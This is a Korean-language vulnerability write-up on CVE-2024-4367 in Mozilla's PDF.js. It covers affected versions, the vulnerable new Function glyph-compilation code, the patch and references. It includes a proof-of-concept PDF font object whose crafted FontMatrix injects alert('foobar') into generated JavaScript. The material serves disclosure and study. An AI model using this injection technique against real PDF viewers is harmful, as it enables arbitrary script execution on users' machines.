CVE-2024-4367 XSS in PDF.js
The arbitrary JavaScript code execution vulnerability in PDF.js
Description
CVE-2024-4367
취약점은 Codean Labs에서 발견한 PDF.js 취약점이다. PDF.js는 Mozilla에서 관리하는 JavaScript 기반 PDF 뷰어이자 라이브러리이다. 공격자는 악성 PDF 파일이 열리는 즉시 임의의 JavaScript 코드를 실행할 수 있었다. PDF.js는 Firefox 브라우저에 내장되어 PDF 파일을 렌더링하는 데 사용되기 때문에 모든 Firefox 사용자에게 영향을 미칠 정도로 파급력이 컸다.
Affected Versions
- pdfjs-dist(npm)
- 0.8.1181
- 1.4.20
- 1.10.88
- 4.1.392
- Mozilla Firefox < 126
- Mozilla Firefox < 115.11
- Mozilla Thunderbird < 115.11
PoC
해당 취약점은 PDF.js가 PDF 파일에서 폰트를 렌더링하는 과정에서 발생한다. 아래는 PDF.js 라이브러리의 폰트 렌더링 최적화와 관련된 코드이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// eslint-disable-next-line no-new-func
console.log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
PDF 파일의 페이지를 Canvas에 렌더링 하는 과정에서 명령어들을 미리 컴파일된 코드 조각으로 변환하여 캐시에 저장해두고, 이후에는 이 캐시된 코드를 반복 실행하면서 성능을 최적화하는 메커니즘으로 보인다.
그러나, 해당 방식은 new Function
을 사용하여 jsBuf
에 임의의 JavaScript 코드가 삽입될 수 있는 가능성을 열어두고 있다. 따라서, 공격자는 FontMatrix와 transform 명령어에 조작된 값을 삽입해 악성 코드 실행을 유도할 수 있다.
최종적으로는 익명 함수 형태로 포맷되어 PDF.js 내부에서 렌더링할 때마다 이 함수를 호출해 PDF 문서의 특정 글자나 그래픽 요소를 Canvas에 그리게 된다.
1
2
3
4
5
6
7
8
Function(c, size)
{
c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
}
FontMatrix는 PDF 파일 안에서 글꼴 크기와 위치를 설정하지만 이 값은 다른 값으로 설정할 수 있으며, PDF 파싱 과정에서 사용자 정의 값이 적용된다. 예를 들어, PDF 작성자가 FontMatrix를 다음과 같이 설정했다고 가정해 보겠다.
1 0 obj … endobj
구문은 PDF 파일 내에서 하나의 객체를 정의하는 구문으로 PDF 파일의 구성 요소(글꼴, 이미지, 텍스트 등)를 정의할 수 있다.
1
2
3
4
5
6
7
8
9
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
>>
endobj
위 설정은 alert(’foobar’)
를 포함하고 있다. 이 값들은 PDF.js의 jsBuf에 포함되어 Function 생성자
에 전달되므로 최종적으로 JavaScript 코드는 다음과 같이 변환되는 것이다.
1
2
3
4
5
6
7
8
Function(c, size)
{
c.save();
c.transform(1, 2, 3, 4, 5, 0); alert('foobar');
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
}
이 취약점은 사용자가 PDF 파일을 열었을 때, 임의의 file://
URL로 다운로드를 유도할 수도 있었고 window.PDFViewerApplication.url
속성으로 사용자가 어떤 PDF 파일을 열었는지, 언제 열었는지, 파일이 저장된 위치까지 감시하여 보다 정교한 공격 설계로 이어지기도 했다.
Patch
기존에 문자열로 처리되던 transform
과 save
가 FontRenderOps의 enum 값
으로 대체되었고 cmds
가 문자열 배열에서 Commands
클래스의 인스턴스로 변경되었다. 또한, add 메소드에서 커맨드를 추가할 때 인자의 타입을 검사함으로써 JavaScript 코드가 삽입되는 것을 방지하였다.
자세한 패치 정보는 아래 링크에서 확인할 수 있다.
https://github.com/mozilla/pdf.js/security/advisories/GHSA-wgrm-67xf-hhpq
Reference
https://blog.theori.io/2024-h1-hot-security-issue-case-b0636c5c6a7a
https://hackyboiz.github.io/2024/05/22/pwndorei/2024-05-22/
https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/